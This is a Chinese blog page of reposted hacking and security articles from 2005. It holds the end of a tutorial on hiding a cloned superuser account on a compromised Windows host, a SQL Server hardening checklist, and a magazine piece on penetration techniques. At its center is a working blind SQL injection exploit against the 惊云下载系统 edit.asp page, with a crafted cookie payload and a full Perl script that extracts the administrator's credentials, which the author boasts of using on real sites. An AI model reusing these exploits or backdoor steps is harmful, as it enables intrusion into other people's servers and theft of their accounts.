4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了,但事实上是这样的吗?你用这个被禁用的用户连接

一下肉鸡看看是否能连上?用命令:net user \\肉鸡ip\ipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家,经过我

多次试验,次次都能成功,而且还是超级用户权限。

5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式:at \\肉鸡ip 时间 net user hacker

/active:no

6.原理:具体的高深的原理我也说不上来,我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator

看看,肯定会弹出一对话框,并禁止你继续禁用超级用户administrator,同样,因为在克隆时,hacker在注册表的"F"键被超级用户

administrator在注册表的"F"键所替代,因而hacker就具有了超级用户的权限了,但是由于hacker在注册表内"C"健还是原来的"C"键,

所以hacker还是会被禁用,但是它的超级用户权限却不会被禁用,因此被禁用的用户hacker还是可以连接肉鸡,而且还具有超级用户的

权限。具体我也说不明白,大家权且这么理解吧。

五、注意的几点事项:

1、隐藏的超级用户建立以后,在帐户管理器中和命令行下均看不到这个用户,但这个用户却存在。

2、隐藏的超级用户建立以后,就不能再修改密码了,因为一旦修改密码,这个隐藏的超级用户就会暴露在帐户管理器中,而且不能删

除。

3、如在本机上试验时,最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份,因为本人做试验时,曾出现过

帐户管理器中看不到任何用户,组中也看不到任何组的现象,但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。

4、本方法在2000/XP上测试通过,未在NT上测试。本方法仅供研究,请勿将本方法用于破坏上,利用本方法造成严重后果者,由使用者

负责,本人概不负责。

4、转载时请保留作者信息,谢谢!

李天东2002年12月23日完稿于东东网络实验室


posted @ 2005-07-08 13:32 一天一点爱恋 阅读(693) | 评论 (0)编辑 收藏
 
转贴自:http://www.sqlsecurity.com

1. 确认已经安装了NT/2000和SQL Server的最新补丁程序,不用说大家应该已经安装好了,但是我觉得最好还是在这里提醒一下。

2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。

3. 给 "sa" 和 "probe" 帐户设定强壮的密码来加强其安全性。设定一个强壮的密码并将其保存在一个安全的地方。 注意: probe帐户被用来进行性能分析和分发传输。 当在标准的安全模态中用的时候 , 给这个帐户设定高强度的密码能影响某些功能的使用。

4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用 LocalSystem 或sa。 这个帐户应该有最小的权利 ( 注意作为一个服务运行的权利是必须的)和应该包含( 但不停止)在妥协的情况下对服务器的攻击。 注意当使用企业管理器做以上设置时 , 文件,注册表和使用者权利上的 ACLs同时被处理。

5. 确定所有的 SQL 服务器数据,而且系统文件是装置在 NTFS 分区,且appropraite ACLs 被应用。 如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。

6.如果不使用Xp_cmdshell就关掉。 如果使用 SQL 6.5, 至少使用Server Options中的SQLExecutieCmdExec 账户操作限制非sa用户使用XP_cmdshell.
在任何的 isql/ osql 窗口中( 或查询分析器):

use master
exec sp_dropextendedproc'xp_cmdshell'

对 SQLExecutiveCmdExec 的详细情况请查看下列文章:

http://support.microsoft.com/support/kb/article/Q159/2/21.

如果你不需要 xp_cmdshell 那请停用它。请记住一个系统系统管理员如果需要的话总是能把它增加回来。这也好也不好 - 一个侵入者可能发现它不在,只需要把他加回来。考虑也除去在下面的 dll但是移除之前必须测试因为有些dll同时被一些程序所用。 要找到其他的程序是否使用相同的 dll:

首先得到该 dll 。

select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name='xp_cmdshell'

其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll。

select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text='xplog70.dll'

用户可以用同样的办法处理下面步骤中其他你想去掉的进程。



7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些包括:

Sp_OACreate

Sp_OADestroy

Sp_OAGetErrorInfo

Sp_OAGetProperty

Sp_OAMethod

Sp_OASetProperty

Sp_OAStop

如果你决定停用该进程那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。 记住, 我们在这里正在做的是锁定一个应用程序的功能 - 你的开发平台应该放到其他机器上。



8. 禁用你不需要的注册表存取程序。(同上面的警告)这些包括:

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regremovemultistring

注意 :我过去一直在这里列出 xp_regread/ xp_regwrite但是这些程序的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐。



9.移除其他你认为会造成威胁的系统储存进程。 这种进程是相当多的,而且他们也会浪费一些cpu时间。 小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:

sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree




10. 在企业管理器中"安全选项" 之下禁用默认登录。(只有SQL 6.5) 当使用整合的安全时候,这使未经认可的不在 syslogins 表中使用者无权登陆一个有效的数据库服务器。
11. 除去数据库的guest账户把未经认可的使用者据之在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。
12. 若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans ,病毒或是简单实现一个DOS攻击成为可能

13. 检查master..Sp_helpstartup看有无可疑的木马进程。 确定没有人已经在这里放置秘密的后门程序。 使用 Sp_unmakestartup 移除任何可疑进程。

14. 检查master..Sp_password看有无trojan代码。比较你的产品scripts和一个新安装的系统的默认scripts而且方便的保存。

15. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:
xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\ Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel',REG_DWORD,3

16. 重写应用程序使用更多用户定义的储存和察看进程所以一般的对表的访问可以被禁用。 在这里你也应该看到由于不必经常进行查询计划操作而带来的性能提升。
17. 除去不需要的网络协议。
18. 注意SQL 服务器的物理安全。把它锁在固定的房间里,并且注意钥匙的安全。只要有机会到服务器面前,就总是会找到一个方法进入。
19. 建立一个计划的任务运行:
findstr/C:" Login Failed"\mssql7\log\*.*'

然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三者工具。 注意: 你可能需要将路径换成你安装SQL的路径。

20. 设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息 ( 从查找"login failed"和"denied"开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 发送一个电子邮件或信息到一个能够对问题及时响应的操作员。

21. 确定在服务器和数据库层次上的角色都只被授给了需要的用户。 当 SQL Server 安全模型 7 有许多增强的时候, 它也增加额外的许可层,我们必须监控该层,确定没有人被授予了超过必需的权限。

22. 经常检查组或角色全体会员并且确定用组分配权限,这样你的审计工作能够简化。 确定当你在的时候 , 公众的组不能从系统表执行选择操作。
23. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:
使用主体
选择名字,
password
from syslogins
where password is null
order by name


24. 如果可能,在你的组织中利用整合的安全策略。 通过使用整合的安全策略,你能够依赖系统的安全,最大简化管理工作从维护二个分开的安全模型中分离开来。这也不让密码接近连接字串。
25. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限。(在SQL Server中 使用 "type" 而不是 "xtype"):
Use master
select sysobjects.name
from sysobjects,sysprotects
where sysprotects.uid=0
AND xtype 在 ('X','P')
AND sysobjects.id=sysprotects.id
Order by name

26. 当时用企业管理器的时候,使用整合的安全策略。 过去,企业管理器被发现在标准的安全模态中储存 "sa" 密码在注册表的 plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。 使用 regedit 而且检查键:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\
MSSQLServer\SQLEW\ Regedi\
SQL 6.5

现在数据被隐藏在

HKEY_USERS\{yourSID}\software\Microsoft\Microsoft SQL server\80\tool\SQLEW\registered server X\SQL server group

("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置)

27. 发展一个审核计划而且订定每月的安全报告,对IT主管可用的报表包括任何的新exploit,成功的攻击 , 备份保护 , 和对象存取失败统计。
28. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。
30. 尽力限制对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给他们机会
posted @ 2005-07-08 13:20 一天一点爱恋 阅读(149) | 评论 (0)编辑 收藏
 
惊云下载系统edit.asp文件存在SQL注入漏洞,后台存在任意文件上传漏洞
惊云下载系统以前有个漏洞好象在user.asp,不知现在修补没有。本人这次和大家讲件edit.asp文件的漏洞,一来发布一个
漏洞,二教教大家如何发现和利用漏洞。我一行一行解释。
<%
user=Request.cookies("JyDownUserName")
'取得用户COOKIE并存入USER变量

if user<>"" then
user=replace(user," ","+++ close")
'给USER变量替换空格
else
response.write("<li>您没有进入本页面的权限,本次操作已被记录!<br><li>如果你是本站会员请先<a href=login.asp target=_top>登陆</a>后进入.")
response.end
end if
'上面判断COOKIE是否为空,空则跳转,等会我们构造COOKIE欺骗,让JyDownUserName这个COOKIE值不为空,至于为多少,等会说。


server_vv=len(Request.ServerVariables("SERVER_NAME"))
server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv)
server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv)
if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" then
response.write("<script>alert('错误:禁止从站点外部提交数据!.')</script>")
response.end
end if
'上面判断网页是否是从浏览器点击而进入的,我们同样可以伪造是这个地方为真,再此不再赘述
%>


<!--#include file="mdb_path_user.asp"-->
<!--#include file="char.inc"-->
<!--#include file="config.asp"-->
'上面是头文件包含,没什么用,忽略就行了

<%
pwd=replace(request.form("pwd")," ","+++ close")
set rs=server.CreateObject("ADODB.RecordSet")
rs.open "select * from UserInfo where user='"&user&"'",conn,1,2
'关键的一句注入点,因为user=replace(Request.cookies("JyDownUserName"),," ","+++ close"),很明显没有过滤单引号
if rs.eof then
JyDownMsg="错误:"&user&"用户资料读取错误,请重新登陆!"
'注入条件判断语句,没有它都不能确定是否成功,返回此句代表失败
else
if request("type")="save" then
if pwd="" then
JyDownMsg="错误:要修改资料必需填写原密码!"
else
if pwd<>rs("pwd") then
JyDownMsg="错误:原密码错误!"
'注入条件判断语句,没有它都不能确定是否成功,返回此句代表成功,至于为什么我真得无法用语言表达了,还是自己想吧。这句以下已经没有意义了。解释至此
else
qm=htmlencode(request.form("qm"))
if len(qm)>250 then
JyDownMsg="错误:个性签名多于250个字符!"
else
.........



好了,已经知道注入的地方,而且知道成功的标志,同时知道表的结构(网上可以找到嘛),便可以利用了。
到底如何利用呢?当然最好是搞定管理员的用户和密码拉。


我用WSE抓包后,整理如下(以我自己的机器做实验)

POST /admin/edit.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
1 Referer: http://localhost/
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
Host: localhost
Content-Length: 125
Connection: Keep-Alive
cache-Control: no-cache
2 Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=aaaaaaaa'%09union%09select%09*%09from%09userinfo%09where%09id%3D1%09and%09len(pwd)%3D1%09and%09'1%3D1

type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oicq=33337788&email=fsadf@fsf.com&homepage=&qm=&softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4

上面两处是需要注意的,有序号。其他地方随便添,按照我上面的就行了。

1处是为了逃避上面讲到的防网页不是从点击近来的,把这个值设为网址就行了,没什么好讲的。
2处是最关键的,我上面提到了COOKIE欺骗,这里不但要欺骗还有注入。

JyDownUserName这个值我们把它设为了
aaaaaaaa' union select * from userinfo where id=1 and len(pwd)=1 and '1=1
这个。上面是经过编码的。其中%09是TAB键的编码,为了躲过空格过滤。它和空格是等价的,真的谢谢MS工程师开发软件总是为用户着想,生怕功能不强。
程序作者只过滤了空格欠考虑。


把上面的值代入到原程序总就变为了(应该学过代数啊,呵呵)
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=1 and '1=1'

那个a串没什么意义,就是为了使前面语句为假,没有这个用户就行了,可以是任意特殊字符串。后面的SELECT是重点。
ID=1是猜id为1的用户,其实就是管理员用户。不过有的管理员可能改了,那就不灵了。猜他的长度是不是1。
很显然是1可能性很小,不要紧,猜错了,会返回“错误:....用户资料读取错误,请重新登陆!”中间省了一部分。
我们把语句换成
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=2 and '1=1'
返回“错误:....用户资料读取错误,请重新登陆!”,看来用户名长度也不是2,再换。

换到5是返回 "错误:原密码错误!",看来用户名长度就是5了。同样方法猜出密码长度7。

该猜字符。
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and asc(mid(user,1,1)=40 and '1=1'
上面的语句大家能看懂吧?用mid函数是截取一个字符,然后转换成ASCII码,再和40比较。返回错误,说明user的第一个字符ASCII值不是40。

猜到97的时候返回"错误:原密码错误!",说明用户名第一个字符是a 。

以此类推,猜出user是admin,pwd是abcdefg.管理员的用户密码猜出来了。

上面的过程显然不可能手工输入和猜测,必须依靠工具。现成的也没有这种工具,鄙毕人就抽了宝贵的打牌(QQ升级)时间了写了个程序,很快就猜出来了。上面是方法。


我用我写的程序在网上实验,真是无往不利。就是在GOOGLE上搜惊云系统,管理员很快猜出来了。

我登陆一个网站后,发现有个地方可以上传文件。我回过头读源代码,发现了和动网一样的文件上传漏洞,都是在路径上没做检查,允许远程命名文件名。

我抓包,提交,恩,成功。顺便又写了个脚本。这个漏洞没什么好讲的,还是看动画怎么做吧。
下面事猜管理员密码的源代码

#!/usr/bin/perl

use IO::Socket;
use threads;

$lhost = $ARGV[0];#主机IP

$port = $ARGV[1];#端口号,默认80

$path = $ARGV[2];

$id = $ARGV[3];

$mod = $ARGV[4];

$char = $ARGV[5];

$argv_len=@ARGV;

if($argv_len<=4) { usage(); exit(); }

if($mod==0)
{
get_user_len($id);
get_pwd_len($id);
}

elsif($mod==1)
{
#get_user($id,$char);
my $i;
for($i=1;$i<=$char;$i++)
{
$t[$i]=threads->new(\&get_user,$id,$i);
}
for($i=1;$i<=$char;$i++)
{
$t[$i]->join();
}
}
elsif($mod==2)
{
#get_pwd($id,$char);

my $i;
for($i=1;$i<=$char;$i++)
{
$t[$i]=threads->new(\&get_pwd,$id,$i);
}
for($i=1;$i<=$char;$i++)
{
$t[$i]->join();
}

}

exit();

sub get_user()
{
my($id,$char_now)=@_;
my $aaa=bin_s(0,123,$path,$char_now,$id);
print "The $char_now char:".chr($aaa)."\n";
}



sub bin_s()
{
my ($low,$high,$path,$char_now,$id)=@_;

my $lh=($low+$high)/2;

my $aaaa=$lh-int($lh);

my $mid;

if($aaaa>0)
{
$mid=int($lh)+1;
}
else
{
$mid=int($lh);
}

my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(user ,$char_now,1))>".$mid."%09and%09'1%3D1");

my $mid1_flag;

if($mid_flag==0)
{
$mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(use r,$char_now,1))%3D".$mid."%09and%09'1%3D1");
}
else
{
$mid1_flag=0;
}

#print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";

if($mid_flag==0&&$mid1_flag==1)
{
return $mid;
}
elsif($mid_flag==1&&$mid1_flag==0)
{
bin_s($mid,$high,$path,$char_now,$id);
}
elsif($mid_flag==0&&$mid1_flag==0)
{
bin_s($low,$mid,$path,$char_now,$id);
}

}



sub get_pwd()
{
my($id,$char_now)=@_;
my $aaa=bin_pwd_s(0,123,$path,$char_now,$id);
print "The $char_now char:".chr($aaa)."\n";
}


sub bin_pwd_s()
{
my ($low,$high,$path,$char_now,$id)=@_;

my $lh=($low+$high)/2;

my $aaaa=$lh-int($lh);

my $mid;

if($aaaa>0)
{
$mid=int($lh)+1;
}
else
{
$mid=int($lh);
}

my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd, $char_now,1))>".$mid."%09and%09'1%3D1");

my $mid1_flag;

if($mid_flag==0)
{
$mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd ,$char_now,1))%3D".$mid."%09and%09'1%3D1");
}
else
{
$mid1_flag=0;
}

#print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";

if($mid_flag==0&&$mid1_flag==1)
{
return $mid;
}
elsif($mid_flag==1&&$mid1_flag==0)
{
bin_pwd_s($mid,$high,$path,$char_now,$id);
}
elsif($mid_flag==0&&$mid1_flag==0)
{
bin_pwd_s($low,$mid,$path,$char_now,$id);
}

}




sub get_user_len()
{
my($id)=@_;

for($user_j=1;$user_j<=30;$user_j++)
{
$user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(user)%3 D".$user_j."%09and%09'1%3D1");
if($user_flag==1){last;}
}
if($user_j<31)
{
print "User_length of id $id: $user_j\n";
}
else
{
print "Can't get user length\n";
}
return $user_j;

}

sub get_pwd_len()
{
my($id)=@_;
my $user_j,$user_flag;
for($user_j=1;$user_j<=30;$user_j++)
{
$user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(pwd)%3D ".$user_j."%09and%09'1%3D1");
if($user_flag==1){last;}
}
if($user_j<31)
{
print "Pass_length of id $id: $user_j\n";
}
else
{
print "Can't get password length\n";
}
return $user_j;
}



sub GetRequest()
{
my($lpath,$usercookie)=@_;
$remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$lhost, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $lhost:$port : $@\n";
$remote->autoflush(1);

$content=" type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oic q=33337788&email=fsadf@fsf.com&homepage=&qm=& ;softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4 ";
$length=length($content);

$post="POST ".$lpath." HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://".$lhost.":".$port."/".$path."\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)\r\n".
"Host: $lhost\r\n".
"Content-Length: ".$length."\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=".$usercookie."\r\n\r\n".
$content;

print $remote $post;

my $flag=0;
for($i=1;$i<=40;$i++)
{
$line=<$remote>;
if(index($line,"原密码错误")!=-1)
{
$flag=1;
}
}
close $remote;
return $flag;
}

sub usage()
{
print "$0 host port path id mod char\n";
print "mod 0 用户名和密码长度 1 猜用户 2 猜密码\n";
print "char 猜测字符位置 1-20";
}
posted @ 2005-07-08 13:19 一天一点爱恋 阅读(169) | 评论 (0)编辑 收藏
 
作者:小金  

本文已发表在chip

渗透是指入侵者直接用被入侵对象原有的功能来完成的入侵,它可以使用各种方法进行。无论是个人用户、数据库管理员还是网站管理员,要构造一个安全的网站论坛、数据库服务器以及安全的SQL语句脚本,了解渗透技术潜在的危害都非常有必要。

很多用户都有这样一种感觉:计算机信息安全技术或者黑客关心的一些东西都比较高深,其实不然,比如渗透技术,可能仅仅是这个专业的技术名词就已经让你有点眩晕了,但是你知道吗,在日常的计算机应用中,你常常会与渗透技术擦肩而过。


让我们举一个小例子来做个简单的说明:如果我告诉你“’ or 1=1’”这是某个用户在某个论坛注册的用户名或者密码,你会想到些什么呢?如果你稍微有一点SQL语言的常识的话,就会明白这个用户名意味着什么,你就会明白“Select u_name from userlst where u_name=xxx”与“Select u_name from userlst where u_name=xxx or 1=1”之间的巨大差异。对一个安全系数不高的网站来说,黑客可以轻松地利用类似的简单SQL语句对网站 非法访问或者攻击,而这些,仅仅是渗透技术冰山之一角。


试探

“站住!干什么的?”守卫叫住这个在司令部门前徘徊了许久的年轻人。“游客。”年轻人看着守卫,眼神出奇地平静,他似乎有意无意地看了不远处的司令部一眼,落日余辉笼罩下的司令部显得如此神秘。然后,年轻人在守卫警惕的目光下潇洒离去。


渗透,或称Penetrate,它不属于某一种入侵方法,也不属于某种工具。渗透是指入侵者直接用被入侵对象原有的功能来完成的入侵,它可以使用各种方法进行。这些原有的功能看起来是那么忠心,可是当它们被入侵者掌握后,却成了入侵者得力的工具。


在一切工作开始之前,入侵者们需要试探。包括目标的功能、漏洞,这些信息在以后的工作中起着重要作用,这一过程称为“扫描”。一般,入侵者们用的扫描器都能汇报大部分已经存在的漏洞和对方提供的服务。当收集到一定数据后,入侵者们就可以决定入侵还是放弃。


偷袭

前面已经提到,渗透有多种表现形式,目前流行的渗透技术表现方式有特殊权限目录、论坛渗透、SQL注射等几种。

突破特殊权限目录

夜深了,守卫正在昏昏欲睡。突然间,一个黑影迅速翻越围墙进了司令部,正是那个白天在司令部门前逗留过一段时间的年轻人,他戴着特制手套,围墙上的玻璃也被弄了一些下来,散落在地上,在月光下闪烁着。年轻人无暇顾及这些,一个转身躲进了暗处。他是一个特工,他的任务是窃取敌方最新的战略分布图。为此,他设法观察这个司令部好几天了,今天终于发现一处戒备疏松的入口。


一般,服务器都会设置一些拥有特殊功能的目录,这些目录用于扩充服务器提供的功能,它们能执行脚本程序,例如论坛。


正因为如此,这些目录里的程序常常会做出异常的事情。服务器上的程序通过处理不同内容的数据请求来实现功能扩充和人机交互,但是,就连程序的编写者也没办法考虑到对方可能会发出什么样数据,而程序只会死板地接受指令干活,于是,危险随时都可能发生。如果入侵者发送一个特殊格式的数据给服务器,由于服务器上处理数据的程序并没有对这种数据做出处理,直接的结果就是程序被溢出,或者执行了入侵者的非法请求,例如要求进入未经允许的目录、查看非授权文件等。因为程序根本不会思考,就乖乖实现了入侵者的心愿。


还记得那个最经典的目录渗透吗——“IIS的二次编码漏洞”正是因为作者没有考虑到一些特殊字符的作用,导致入侵者使用浏览器或别人开发的工具就轻松进入了服务器(图1)。



图1 IIS的“二次编码漏洞”导致了目录渗透。

当然,免费的午餐不一定都好吃,服务器虽然安排了特殊权限目录,可是也不会给它们太多权限。用这种方法渗透的入侵者,充其量不过是个“客人”的角色,能做多少事情?可想而知,入侵者们绝不肯就此罢休。

脆弱的论坛

司令部的侧门开了,也许因为天气闷热,一个戴眼镜的军官出来透气。他看到墙边那一堆闪亮的东西,忙走了过去。可是他还没来得及细看,就倒在那堆玻璃上,年轻人的身影出现在他身后。潜入的特工换上军官的军服,连同帽子和眼镜,然后拿了他的钥匙串,踱着步子走进了司令部。


论坛建立在特殊权限目录的基础上,为服务器开扩了互动的功能,当然也成为入侵者喜爱的一块“肥肉”。因为论坛是由多个文件组合起来的,只要某个文件的编写出了问题,论坛就很可能成为入侵者的钥匙。国内一些著名论坛如DVBBS和LB5000都是入侵者的最爱,因为这些论坛强大的功能让他们能直接取得整个机器的控制权。入侵者甚至只要设法在LB5000的某个文件里写下一行“@ARGV”就能直接进入系统内部。可以这么说:论坛是入侵者最大的“舞台”。


究其原因,是论坛程序作者编写的代码不严密造成的。由于论坛程序的代码是完全透明的,稍有用心的人分析了整个代码就能知道哪一步会出问题——不要以为那些教程上的命令是作者乱按键盘得来的。一旦论坛被渗透,最轻的后果是入侵者坐上管理员的位置,严重的就是入侵者又多了一台被控制的机器(图2)。


图2 黑客利用渗透技术提升LB5000用户权限。

突破口令的防线

特工把帽檐压得很低,司令部里居然没人认出他。他走到深处空无一人的情报间前面,发现这里需要输入一个四位数的密码,键盘下还有一个打印机接口样式的数据孔。特工从怀里拿出一个小机器和数据孔连接上了,然后就开始紧张地等待着什么。


有时候,一个论坛程序或者其他需要密码的入口程序已经被修改得很安全,直接用以前出问题的代码显然是不可能了,难道入侵就这样停止了?不,入侵者们当然不会轻易放弃。


现在最通用的服务器程序是微软的IIS网络信息服务器+ASP活动页面的组合,而这两者最主要的操作就是数据库读写——IIS使用数据库存储资料已经成了标准,可正是这个标准又把服务器的安全推到了危险的边缘。


SQL注射(SQL Injection)是最近比较热的渗透方法,那么,SQL注射是什么?写过数据库程序的朋友都知道,数据库操作需要用户名和密码,否则不允许打开。这些密码通过固定的格式传输,这就是“结构化查询语言”(Structured Query Language)。但是在这个环节上却出了差错:我们能直接阅读到网站的资料是因为作者已经把密码保存在某个文件里面让系统自己提交了。因此,入侵者可以在某个涉及到数据库调用的文件地址后增加一个SQL判断语句来追查密码长度,甚至推测具体密码,例如“data.asp?id=1 and 1=(select id from admin where left(password,5)='lk007')”,如果密码正好是“lk007”,文章就正常显示,因为语句中的“and”查询符两边相等了。这样一步一步下来,入侵者就拿到了完整的密码。这个手法在国外被称为“骇客的SQL填空游戏”,有趣吧?网络管理员可笑不出来。


打入核心

几分钟过去后,特工输入了正确密码,门开了。在他意料之外,里面还有个操作员!距离太近了,操作员认出他并非自己人。
“间谍……”操作员还没说完话就被弹了起来,头撞到了顶板,瞬间没了气息。原来特工按下了门旁的应急按钮,它的设计初衷是把非法入侵者直接扼杀在里面。可是它不会认人,只要你输入了正确密码,它就能为你所用。


特工取到了他要的资料,压低帽檐走了出去,情报间的门悄然关上了,就像什么都没发生过。趁着夜色,特工逃离了司令部。


SQL太强大了,不过这次不是SQL语言,而是SQL服务器程序SQL Server,它给用户提供强大功能的同时,也递给入侵者一把“榔头”。在SQL Server中有很多系统存储过程,有些是数据库内部使用的,还有一些就是通过执行存储过程来调用系统命令。直接危害服务器的是系统存储过程指令“xp_cmdshell”,它以操作系统命令行解释器的方式执行给定的命令字符串,但是它有个致命弱点:它不认人,只要入侵者得到了账号,他同样可以执行很多命令,直接危害服务器。也许你会说,这点无所谓,账号不是那么容易拿的。但是不争气的SQL Server却存在多种能让入侵者得到账号的漏洞,然后(图3)……

图3 针对SQL服务器的xp_cmdshell入侵程序。

其实,入侵者直接在浏览器里输入SQL指令就可以,例如“exec master.dbo.xp_cmdshell '命令行'”。


防范

深夜里,司令部响起了警报。一个士兵无意中发现了倒在地上的军官,尔后人们看到了情报间里操作员的尸体。整个司令部立即进入A级警戒状态,所有人都要经过严密身份识别才被批准进入。
然而,特工还会来吗?


发现服务器被入侵的时候,入侵者已经绝尘而去,广大网络管理员最痛心疾首的事情莫过于此,如果上天给他们一个重来的机会,他们会祈祷入侵者进不来,如果要加一个期限,他们希望是——永远。


话虽如此,但是,不见得每个Webmaster的技术都足够抵挡一切入侵,也不是所有程序都不会有出错的一天,我们应该如何预防渗透技术可能带来的危害呢?看了上面的文章和理论分析,不难得出以下有效的防范措施:


1.确保操作系统、数据库服务器、程序开发语言都打上了最新的补丁程序,如Service Pack以及相应服务器程序的补丁,并记得一定要时刻开启防火墙功能;


2.时刻关注自己服务器的论坛程序最新情况,增加必要的字段过滤;


3.留意用户组的变化,密切注意奇怪的用户名,对用户名和密码注册采取严格的限制策略;


4.定时分析操作系统和数据库日志文件。
posted @ 2005-07-08 12:40 一天一点爱恋 阅读(150) | 评论 (0)编辑 收藏
 
Windows 2000和Windows XP作为32位操作系统,通过创建虚拟DOS机来运行MS-DOS和16位Windows程序,它用“命令提示符”(cmd.exe)替换了以前版本(如Windows 98)中的“Command.com”,保留并增强了几乎MS-DOS的所有功能。可是,你真的把它玩转了么?
一、自定义窗口标题
以Win2000为例,CMD默认的窗口标题一般为“C:WINNTSystem32cmd.exe”。如果想要个性化一点的话,可以使用“Title string”命令来重新设置,其中string用来指定命令提示符窗口的标题。例:输入“Title 天天的控制平台”(引号不要输入,下同),标题就被设置为“天天的控制平台”(可以按Ctrl+Shift组合键调出中文输入法来输入汉字)(如图1)。
二、彩色的命令行
